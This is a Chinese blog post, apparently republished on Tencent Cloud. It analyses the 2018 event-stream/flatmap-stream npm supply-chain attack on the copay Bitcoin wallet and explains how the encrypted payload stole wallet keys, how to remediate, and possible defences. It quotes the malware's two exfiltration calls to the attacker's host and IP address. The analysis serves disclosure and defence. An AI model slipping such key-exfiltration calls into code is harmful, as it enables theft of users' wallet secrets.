前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >月下载千万的 NPM 包被注入恶意攻击代码的背后技术故事

月下载千万的 NPM 包被注入恶意攻击代码的背后技术故事

作者头像
桃翁
发布2019-08-20 14:33:35
5120
发布2019-08-20 14:33:35
举报
文章被收录于专栏:前端桃园前端桃园

想必各位前几天都被这个新闻刷屏了,千万 NPM 包被篡改,项目存在安全风险。本着对技术的好奇,我也去了解了一下到底它攻击了什么、如何修复这个问题、有什么办法可以解决这种攻击方式。

代码到底攻击了什么

首先罪魁祸首是这个 flatmap-stream-0.1.1.tgz 包,他被 event-stream 这个包所依赖。event-stream 包的周下载量高达 180 万。在两个月前,这个含有攻击代码的包就被加入到依赖中,但是直到本月 20 号才爆发了关于这个包的讨论。

并且这个攻击包做的很鸡贼,如果你打开 flatmap-stream 的 Github 页面,会完全发现不到任何的问题,但是在 NPM 上,这个包却被加入了攻击代码。

那么接下来就来谈谈这个包到底攻击了什么。其实它的目标是 copay,这是一个比特币钱包软件。flatmap-stream 它会扫描你项目中的 node_modules 文件夹,如果有 copay 这个的话,他就可以取到 package.json 文件中的 description 字段,对应的内容 A Secure Bitcoin Wallet 就会作为攻击代码的解密的 key,攻击代码是已 AES256 的方式加密的。

当获取解密后的攻击代码后,它会去替换 copay 中的获取秘钥函数为自己实现的代码,在这段代码中,它会将用户的秘钥发送到攻击者的服务器中

代码语言:javascript
复制
sendRequest("copayapi.host", path, payload)
sendRequest("111.90.151.134", path, payload)

以上就是它的攻击过程,并且在攻击的时候他还很鸡贼的判断了比特币的网络,如果是 test 的话,就不作操作,因为在 test 网络下,虚拟货币就算拿到也不能换钱。在正式的网络中,代码就会进行秘钥上传,这样攻击者就可以获取你的钱包秘钥,从而从钱包中获取虚拟货币。

如何修复

其实修复的方式很简单,你只需要删除 node_modules 文件夹,然后重新安装依赖即可,目前 event-stream 已经移除了 flatmap-stream 依赖。

然后如果你全局安装过 nodemon 或者三大框架的脚手架,可以先全局卸载,然后再重新安装一遍

代码语言:javascript
复制
npm uninstall -g nodemon
npm install -g nodemon
npm uninstall -g @vue/cli
npm install -g @vue/cli

对于这种攻击有什么好的解决办法

既然攻击出现过一次,那么后人就会去模仿,我们应该考虑有什么办法防止这类问题。其实在前端中有 CSP 这个东西,也就是内容安全策略,可以通过白名单的方式来防止不想要的访问和操作。

但是在 Node 中却没有 CSP 这个东西,当然前人肯定已经想到过会存在攻击的问题,intrinsic 可以做到类似 CSP 的机制。它也可以加白名单,但是有更强大的功能,比如限制文件访问系统、进程访问等等。

为了防止再出现这样大面积的问题,NPM 包的安全问题确实要关注起来。

以上就是本篇文章的内容了,同时也欢迎大家有所想法留下你想说的话。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2018-11-30,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 前端桃园 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档